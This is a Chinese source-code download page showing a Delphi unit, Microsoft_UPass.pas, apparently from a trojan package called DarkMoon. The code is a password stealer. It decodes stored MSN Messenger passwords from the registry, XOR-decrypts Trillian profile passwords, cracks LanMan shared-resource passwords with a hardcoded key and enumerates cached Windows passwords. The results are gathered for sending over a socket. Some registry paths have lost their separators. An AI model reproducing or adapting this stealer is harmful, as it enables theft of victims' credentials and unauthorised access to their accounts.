开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Delphi控件源码 > 查看源码
Microsoft_UPass.pas
资源名称：DarkMoon.rar　[点击查看]
上传用户：hndmjx
上传日期：2014-09-16
资源大小：3369k
文件大小：16k
源码类别：

Delphi控件源码

开发平台：

Delphi

Microsoft_UPass.pas：源码内容
  1. unit Microsoft_UPass;
  3. interface
  4. uses WinSock, Windows,Microsoft_Ucmd,Utils;
  5. procedure BuscarPasswordsDeWindows( socket : TSocket);
  6. //procedure Aim(  udp : TSocket; Cli: Tsockaddr; tcp:integer );
  7. procedure msn( Socket : Tsocket);
  8. procedure Trillian( Socket : Tsocket );
  9. function sharedPws( Socket : Tsocket): string;
  11. implementation
  13. uses  Microsoft_URegister;
  15. type
  16.     PWinPassword = ^TWinPassword;
  17.     TWinPassword = record
  18.        EntrySize: Word;
  19.        ResourceSize: Word;
  20.        PasswordSize: Word;
  21.        EntryIndex: Byte;
  22.        EntryType: Byte;
  23.        PasswordC: Char;
  24.     end;
  27.    // MSN
  28.   //Pass parts graphical structure:
  29.   //|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX 3D 3D|00
  30.   //Each group is named consecutively |GI FC SC TC|
  31.   //A 00 means the end of the encoded password. A 3D means a null encoded character.
  32.   PassParts    = array [0..6,0..3] of byte; //Parts of the password, it devides into groups of 4 encoded characters which is equivalent to 3 decoded characters. There can be a maximum of 6 groups (16 decoded characters, 25 encoded)
  33.   DecPassArray = array [0..24] of byte;  //Array got directly from the registry. It can be 25 characters maximum
  36. var   UDP  : Tsocket;
  37.       Addr : TsockAddr;
  38.       Tcps : integer;
  40.       Cant : Integer = 0;
  41.       Key_shared    : HKEY;
  43.       PassSize:integer; 
  45. const KEY : array[1..8] of char =  #$35#$9a#$4d#$a6#$53#$a9#$d4#$6a;
  46.       HEADER = 'pWd';
  49. ////////////////////////////////////////////////////////////////////////////////
  50. ////////////////////////Passwords de Messenger/////////////////////////////////
  51. ////////////////////////////////////////////////////////////////////////////////
  53. function EquivalentPositions(EncByte:byte):byte;
  54. var DecByte:byte;      //Semi-decoded byte, which will be the return value of the function
  55. begin
  56.      Case EncByte of
  57.           $41..$5A: DecByte := EncByte - $41;
  58.           $61..$7A: DecByte := ( EncByte - $61 ) + $1A;
  59.           $30..$39: DecByte := ( EncByte - $30 ) + $34;
  60.           $2B: DecByte := $3E;
  61.           $2F: DecByte := $3F;
  62.           $3D: DecByte := $40;
  63.           else DecByte:=$FF;
  64.      end;
  65.      Result := DecByte;
  66. end;
  68. function GetRegPassword( clave: string ) : DecPassArray;
  69. var tmp    : DecPassArray;
  70.     Handle : HKEY;
  71. begin
  73.      RegOpenKeyEx( HKEY_CURRENT_USER, PChar( 'SoftwareMicrosoft' + clave ), 0, KEY_ALL_ACCESS, Handle );
  74.      if Handle <> 0 then
  75.      begin
  76.           PassSize := GetDataSize( Handle, 'Password.NET Messenger Service' );
  77.           ReadBinaryData( Handle, 'Password.NET Messenger Service', tmp, passsize );
  78.           RegCloseKey( Handle );
  79.           Result := Tmp;
  80.      end;
  81. end;
  83. function SortPassBytes( Pass : DecPassArray ) : PassParts;
  84. var Temp : PassParts;
  85.     i, j : integer;
  86. begin
  87.      for i := 0 to ( PassSize - 1 ) div 4 do
  88.        for j := 0 to 3 do
  89.            Temp[ i, j ] := Pass[ i * 4 + j];
  90.      SortPassBytes := Temp;
  91. end;
  93. function DecodePassword( clave: string ) : string;
  94. var
  95.   PassPart: PassParts;
  96.   iPart: integer;
  97.   GI, FC, SC, TC: byte;
  98.   FCValInSet, FCPosInSet: integer;
  99.   SCValInSet, SCPosInSet: integer;
  100.   TCPosInSet: integer;
  101.   C1, C2, C3: char;
  102.   Password: DecPassArray;
  103.   Temp: string;
  104. begin
  105.      Password := GetRegPassword( clave );
  106.      PassPart := SortPassBytes(GetRegPassword( clave ) ); {Organize encoded password from registry}
  108.      for iPart:=0 to (PassSize div 4)-1 do
  109.      begin
  110.           GI := EquivalentPositions( PassPart[ iPart, 0 ] );
  111.           FC := EquivalentPositions( PassPart[ ipart, 1 ] );
  112.           SC := EquivalentPositions( PassPart[ ipart, 2 ] );
  113.           TC := EquivalentPositions( PassPart[ ipart, 3 ] );
  115.           C2 := #0;
  116.           C3 := #0;
  118.           FCPosInSet := FC div $10;
  119.           FCValInSet := FC mod $10;
  120.           C1 := Char( GI * $4 + FCPosInSet );
  121.           if SC < $40 then
  122.           begin
  123.                SCPosInSet := SC div $4;   {this determines the member nunmber}
  124.                SCValInSet := SC mod $4;   {this is used for full-deoode TC}
  125.                C2 := Char( FCValInSet * $10 + SCPosInSet ); {fully decode SC}
  126.           end;
  127.           if TC < $40 then
  128.           begin
  129.                TCPosInSet := TC;   {this determines the member number}
  130.                C3 := Char( SCValInSet * $40 + TCPosInSet ); {fully decode TC}
  131.           end;
  132.           Temp := Temp + C1 + C2 + C3; {Decoded group of 3 characters}
  133.    end;
  134.    DecodePassword := Temp;
  135. end;
  137. procedure Msn( Socket : Tsocket);
  138. var User, pw: String;
  139. begin
  140.      User := Dame_Valor( HKEY_CURRENT_USER,
  141.                          'SoftwaremicrosoftMessengerService',
  142.                          'User.NET Messenger Service' );
  143.      if user = '' then
  144.      begin
  145.         user := Dame_Valor( HKEY_CURRENT_USER,
  146.                             'SoftwaremicrosoftMSNMessenger',
  147.                             'User.NET Messenger Service' );
  148.         pw := DecodePassword('MSNMessenger')
  149.      end
  150.      else
  151.         pw := DecodePassword('MessengerService');
  153.        Data_PASS:=Data_PASS +  HEADER  + #13#10 + 'Microsoft messenger:' ;
  154.        Data_PASS:=Data_PASS +#13#10 + 'Login - ' + user;
  155.        Data_PASS:=Data_PASS +#13#10 + 'Password - ' + pw ;
  157. end;
  159. ////////////////////////////////////////////////////////////////////////////////
  160. //////////////////////////trillian passwords////////////////////////////////////
  161. ////////////////////////////////////////////////////////////////////////////////
  164. function DecryptTrill( temp : string): String;
  165. const  keys: array[0..83] of Char = (chr(243),chr(038),chr(129),chr(196),chr(057),chr(134),chr(219),chr(146),chr(113),chr(163),chr(185),chr(230),chr(083),chr(122),chr(149),chr(124),chr(000),chr(000),chr(000),chr(000),chr(000),chr(000),chr(255),chr(000),chr(000),chr(128),chr(000),chr(000),chr(000),chr(128),chr(128),chr(000),chr(255),chr(000),chr(000),chr(000),chr(128),chr(000),chr(128),chr(000),chr(128),chr(128),chr(000),chr(000),chr(000),chr(128),chr(255),chr(000),chr(128),chr(000),chr(255),chr(000),chr(128),chr(128),chr(128),chr(000),chr(085),chr(110),chr(097),chr(098),chr(108),chr(101),chr(032),chr(116),chr(111),chr(032),chr(114),chr(101),chr(115),chr(111),chr(108),chr(118),chr(101),chr(032),chr(072),chr(084),chr(084),chr(080),chr(032),chr(112),chr(114),chr(111),chr(120),chr(000));
  166. var i,j:char;
  167.     x,y:integer;
  168.     final: String;
  169. begin
  170.     final := '';
  171.     x     := 0;
  172.     y     := 0;
  173.     while x < length( temp ) do
  174.     begin
  175.         j     := chr( hextoint( temp[ x + 1 ] + temp[ x + 2 ] ) );
  176.         i     := keys[ y ];
  177.         i     := chr( ord( i ) xor ord( j ) );
  178.         final := final + i;
  179.         x     := x + 2;
  180.         y     := y + 1;
  181.     end;
  182.     result := final;
  183. end;
  186. function LoadProfiles( m: String; socket: TSocket ): String;
  187. var a : textFile;
  188.     Str: String;
  189. begin
  190.      if FileExists( 'C:archivos de programaTrillianusersdefault' + m + '.ini' ) then
  191.         AssignFile( a, 'C:archivos de programaTrillianusersdefault' + m + '.ini' )
  192.      else
  193.         if FileExists( 'C:program filesTrillianusersdefault' + m + '.ini' ) then
  194.            AssignFile( a, 'C:program filesTrillianusersdefault' + m + '.ini' )
  195.         else
  196.            Exit;
  198.      FileMode := 0;
  199.      try Reset( a ); except Exit; end;
  200.      ReadLn( a, Str );
  201.      while not eof( a ) do
  202.      begin
  203.           ReadLn( a, Str );
  204.           if Copy( Str, 1, 4 ) = 'name' then  begin
  205.              SendData ( socket,HEADER +  'User - ' + Copy( Str, 6, Length( Str ) )) ;
  206.           if UpperCase( Copy( Str, 1, 8 ) ) = 'PASSWORD' then
  207.             SendData ( socket,  HEADER + 'PaSswoRd - ' + DecryptTrill( Copy( Str, 10, Length( Str ) ) ) );
  208.      end;
  209.      CloseFile( a );
  210. end;
  211.      end;
  212. procedure Trillian( socket : TSocket);
  213. begin
  214.      Data_Pass:=Data_Pass + #13#10  + 'Finding Passwords of  Trillian' ;
  215.     Data_Pass:=Data_Pass + #13#10 +  '------------------------------------------------';
  216.      Data_Pass:=Data_Pass + #13#10 +'aim';
  217.       Data_Pass:=Data_Pass + #13#10 +'msn' ;
  218.      Data_Pass:=Data_Pass + #13#10 +'icq' ;
  219.       Data_Pass:=Data_Pass + #13#10 +'yahoo' ;
  220.  
  221. end;
  223. ////////////////////////////////////////////////////////////////////////////////
  224. /////////////////////////Password Shared Resources///////////////////
  225. ////////////////////////////////////////////////////////////////////////////////
  226. function makepad(width : integer) : string;
  227. var s : string;
  228.     x : integer;
  229. begin
  230.      s := '';
  231.      for x := 1 to width do
  232.      s := s + ' ';
  233.      makepad := s;
  234. end;
  236. function DataTypeToRegData(Value: Integer): TRegDataType;
  237. begin
  238.     if Value = REG_SZ then
  239.        Result := rdString
  240.     else
  241.     if Value = REG_EXPAND_SZ then
  242.         Result := rdExpandString
  243.     else
  244.     if Value = REG_DWORD then
  245.        Result := rdInteger
  246.     else
  247.     if Value = REG_BINARY then
  248.        Result := rdBinary
  249.     else
  250.        Result := rdUnknown;
  251. end;
  253. function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;
  254. var
  255.   DataType: Integer;
  256. begin
  257.   FillChar(Value, SizeOf(TRegDataInfo), 0);
  258.   Result := RegQueryValueEx(key_shared, PChar(ValueName), nil, @DataType, nil,
  259.     @Value.DataSize) = ERROR_SUCCESS;
  260.   Value.RegData := DataTypeToRegData(DataType);
  261. end;
  263. function GetDataSize(const ValueName: string): Integer;
  264. var
  265.   Info: TRegDataInfo;
  266. begin
  267.   if GetDataInfo(ValueName, Info) then
  268.     Result := Info.DataSize else
  269.     Result := -1;
  270. end;
  272. function GetData(const Name: string; Buffer: Pointer;
  273.   BufSize: Integer; var RegData: TRegDataType): Integer;
  274. var
  275.   DataType: Integer;
  276. begin
  277.   DataType := REG_NONE;
  278.   if RegQueryValueEx(key_shared, PChar(Name), nil, @DataType, PByte(Buffer),
  279.     @BufSize) <> ERROR_SUCCESS then;
  280.   //  raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
  281.   Result := BufSize;
  282.   RegData := DataTypeToRegData(DataType);
  283. end;
  285. procedure ReadError(const Name: string);
  286. begin
  287. //  raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
  288. end;
  290. function ReadBinaryData(const Name: string; var Buffer; BufSize: Integer): Integer;
  291. var
  292.   RegData: TRegDataType;
  293.   Info: TRegDataInfo;
  294. begin
  295.   if GetDataInfo(Name, Info) then
  296.   begin
  297.     Result := Info.DataSize;
  298.     RegData := Info.RegData;
  299.     if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
  300.       GetData(Name, @Buffer, Result, RegData)
  301.     else ReadError(Name);
  302.   end else
  303.     Result := 0;
  304. end;
  306. procedure DesencriptarSharedPW( sn: String; socket : TSocket);
  307. var passwordstr1,passwordstr2,cracked1,cracked2 : string[8];
  308.     wordlength1,wordlength2,x : longint;
  309.     password1,password2 : array[1..8] of char;
  310.     path, s:String;
  311. begin
  312.      path := 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' + sn;
  313.      if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  314.                      PChar( path ),
  315.                      0,
  316.                      KEY_ALL_ACCESS,
  317.                      key_shared ) = ERROR_SUCCESS then
  318.      begin
  319.           for x := 1 to 8 do
  320.           begin
  321.                password1[ x ] := #0;
  322.                password2[ x ] := #0;
  323.           end;
  324.           readbinarydata('Parm2enc',password2,8); // get cyphered RO password
  325.           readbinarydata('Parm1enc',password1,8); // get cyphered RW password
  326.           sn := sn + makepad(14 - length(sn));
  327.           s := s +  'Resource: ' + sn;
  328.           x := 1;
  329.           passwordstr1 := '';
  330.           passwordstr2 := '';
  331.           cracked1 := '';
  332.           cracked2 := '';
  333.           while password1[x] <> #0 do
  334.           begin
  335.               passwordstr1 := passwordstr1 + password1[x];
  336.               inc(x);
  337.           end;
  338.           wordlength1 := length(passwordstr1);
  339.           x:=1;
  340.           while password2[x] <> #0 do
  341.           begin
  342.               passwordstr2 := passwordstr2 + password2[x];
  343.               inc(x);
  344.           end;
  345.           wordlength2 := length(passwordstr2);
  346.           for x := 1 to wordlength1 do // Here we do the XORing
  347.              if password1[x] <> #0 then
  348.                 cracked1 := cracked1 + chr(ord(stringtochar(copy(passwordstr1,x,1))) XOR ord(key[x]));
  349.           for x := 1 to wordlength2 do // And again...
  350.              if password2[x] <> #0 then
  351.                 cracked2 := cracked2 + chr(ord(stringtochar(copy(passwordstr2,x,1))) XOR ord(key[x]));
  352.           if cracked1 <> '' then // Write RO password to screen
  353.              s := s + 'PW de RW: ' +  cracked1 + makepad(10 - length(cracked1) )
  354.           else
  355.              s := s + 'PW de RW: no tiene   ';
  357.           if cracked2 <> '' then // Write RW password to screen
  358.              s := s + ' PW de RO: ' + cracked2  + makepad(10 - length(cracked2))
  359.           else
  360.              s := s + ' PW de RO: no tiene   ';
  361.          Data_Pass:=Data_Pass + #13#10  + s ;
  362.           s := '';
  363. end;
  364. end;
  366. //Devuelve un listado de los valores contenidos en la clave
  367. function ListadoDeSubValores( TKEY : HKEY; var cuentas : array of string; var len : integer; socket : TSocket):String;
  368. var info    : TRegKeyInfo;
  369.     i       : integer;
  370.     bSize   : DWORD;
  371.     tBuff   : string;
  372. begin
  373.      if RegQueryInfoKey(TKEY, nil, nil, nil,
  374.                         @info.NumSubKeys,
  375.                         @info.MaxSubKeyLen, nil,
  376.                         @info.NumValues,
  377.                         @info.MaxValueLen,
  378.                         @info.MaxDataLen, nil,
  379.                         @info.FileTime) = ERROR_SUCCESS  then
  380.      begin
  381.           SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
  382.           //Comienza a buscar el listado de claves
  383.           for i := 0 to info.numSubKeys - 1 do
  384.           begin
  385.                bSize := Info.MaxSubKeyLen + 1;
  386.                RegEnumKeyEx( TKEY,
  387.                              DWORD( i ),
  388.                              PChar( tBuff ),
  389.                              bSize, nil, nil,  nil, nil );
  390.                DesencriptarSharedPW( tbuff, socket );
  391.           end;
  392.           Len := info.numSubKeys - 1;
  393.      end;
  394. end;
  396. function sharedPws( socket : TSocket): string;
  397. var i      : Integer;
  398.     Cuentas  : array[ 0..25 ]of string;
  399. begin
  401.     Data_Pass:=Data_Pass + #13#10  + 'PasswordS of Shared Resources' ;
  402.     SendData ( socket, HEADER + '---------------------------------------------------------------' );
  403.     RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  404.                   PChar( 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' ),
  405.                   0,
  406.                   KEY_ALL_ACCESS,
  407.                   key_shared );
  408.     ListadoDeSubValores( key_shared, cuentas, i, socket );
  409.     RegCloseKey( key_shared );
  410.     if i = 0 then
  411.     begin
  412.          Data_Pass:=Data_Pass + #13#10 + 'I didnt find anything!!' ;
  413.          Exit;
  414.     end;
  416. end;
  419. ////////////////////////////////////////////////////////////////////////////////
  420. /////////////////////////Passwords de windows///////////////////////////////////
  421. ////////////////////////////////////////////////////////////////////////////////
  424. procedure AddPassword( WinPassword: PWinPassword; dw: DWord ;socket : Tsocket) stdcall;
  425. var  Password: String;
  426.      PC: Array[ 0..$FF ] of Char;
  427. begin
  428.      Inc( Cant );
  429.      Move( WinPassword.PasswordC , PC , WinPassword.ResourceSize );
  430.      PC[ WinPassword.ResourceSize ] := #0;
  431.      CharToOem( PC, PC );
  432.      Password := PC;
  433.      Move( WinPassword.PasswordC , PC , WinPassword.PasswordSize + WinPassword.ResourceSize );
  434.      Move( PC[ WinPassword.ResourceSize ] , PC , WinPassword.PasswordSize );
  435.      PC[ WinPassword.PasswordSize ] := #0;
  436.      CharToOem( PC , PC );
  437.      Password := Password + ':  ' + PC;
  438.      Data_Pass:=Data_Pass + #13+#10 +': ' + Password ;
  439.      Data_Pass:=Data_Pass + #13+#10 + Password ;
  440. end;
  442. procedure BuscarPasswordsDeWindows( socket : TSocket);
  443. type TWNetEnumCachedPasswords = function(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
  444. var  WNetEnumCachedPasswords  : TWNetEnumCachedPasswords;
  445.      Libreria           : THandle;
  446. begin
  447.      if EsXP then
  448.      begin
  449.      Data_Pass:=Data_Pass + #13#10 + 'I cant find the windows passwords because im not Win9X neither WinMe... sorry!!!';
  451.      Exit;
  452.      end;
  453.       Data_Pass:=Data_Pass + #13#10  + 'Windows cached passwords:' ;
  456.      try Libreria := LoadLibrary( PChar( 'mpr.dll' ) );
  457.          @WNetEnumCachedPasswords := GetProcAddress( Libreria , 'WNetEnumCachedPasswords' );
  458.          WNetEnumCachedPasswords( nil, 0, $FF, @AddPassword, 0 );
  459.          FreeLibrary( Libreria );
  460.      except
  461.      end;
  462.      if Cant = 0 then
  463.      begin
  464.         Data_Pass:=Data_Pass+ ':  I dindt find passwords !';
  466.      end;
  468. end;
  469. end.